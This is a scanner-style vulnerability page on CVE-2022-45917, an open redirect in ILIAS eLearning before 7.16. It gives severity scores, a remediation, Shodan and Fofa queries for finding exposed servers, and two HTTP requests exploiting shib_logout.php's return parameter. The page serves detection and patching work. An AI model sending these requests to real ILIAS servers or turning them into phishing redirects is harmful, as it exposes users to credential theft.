🔙 목록으로 돌아가기

CVE-2022-45917: ILIAS eLearning <7.16 - Open Redirect

TitleILIAS eLearning <7.16 - Open Redirect
Authorarafatansari
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
RemediationUpgrade to ILIAS eLearning version 7.16 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.35756
CVE IDCVE-2022-45917
CWE IDCWE-601
Shodan Queryhttp.html:"ILIAS"http.html:"ilias"
Fofa Querybody="ilias"
Tags cve cve2022 redirect packetstorm seclists ilias xss vuln

🔍 Vulnerability Description

ILIAS eLearning before 7.16 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /shib_logout.php?action=logout&return=https://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ilias/shib_logout.php?action=logout&return=https://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45917.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45917.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A